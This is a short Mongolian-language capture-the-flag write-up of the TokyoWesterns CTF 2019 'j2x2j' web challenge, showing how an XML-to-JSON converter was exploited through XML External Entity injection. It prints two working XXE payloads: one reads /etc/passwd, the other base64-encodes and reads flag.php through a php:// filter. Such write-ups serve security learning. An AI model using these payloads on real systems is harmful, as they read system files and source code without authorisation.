XXE халдлага хэрхэн хийгддэг вэ?

Fgod
Sep 8, 2019

--

TokyoWesterns CTF 5th 2019 [ WEB , Forensics , Misc ]

WEB

j2x2j WEB 59 онооны даалгавар [ This challenge has 59 points ]

Уг даалгавар нь JSON → XML , XML → JSON converter байсан бөгөөд үүнийг харахад миний зүгээс XML → JSON хэсгийг ашиглаж XXE буюу [ XML Externel Entity ] exploit -г хийх боломжтой байсан. Үүнийг туршиж үзэхийн тулд эхлээд энгийн injection -г хийж туршиж үзсэн.

Injection:

<?xml version=”1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM ‘file:///etc/passwd’>]><root>&test;</root>

Дараа нь би уг injection нь болж байгаа юм бол үүнийг нь server -лүү тест болгож injection хийгээд response -н CSRF шиг замаар нь авах үйлдэл хийж үзсэн. Замыг нь туршилт маягаар flag.php гэж үзэхэд ийм base64 хариу ирсэн.

Injection:

<?xml version=”1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM ‘php://filter/convert.base64-encode/resource=flag.php’>]><root>&test;</root>

Уг гарч ирсэн үр дүнг (BASE64) -г decode хийхэд flag гарч ирсэн.

--

--

Fgod

fσundєr & cєσ @fαntαsm — pєnєtrαtíσn tєstєr & sєcurítч rєsєαrchєr & lєαrnєr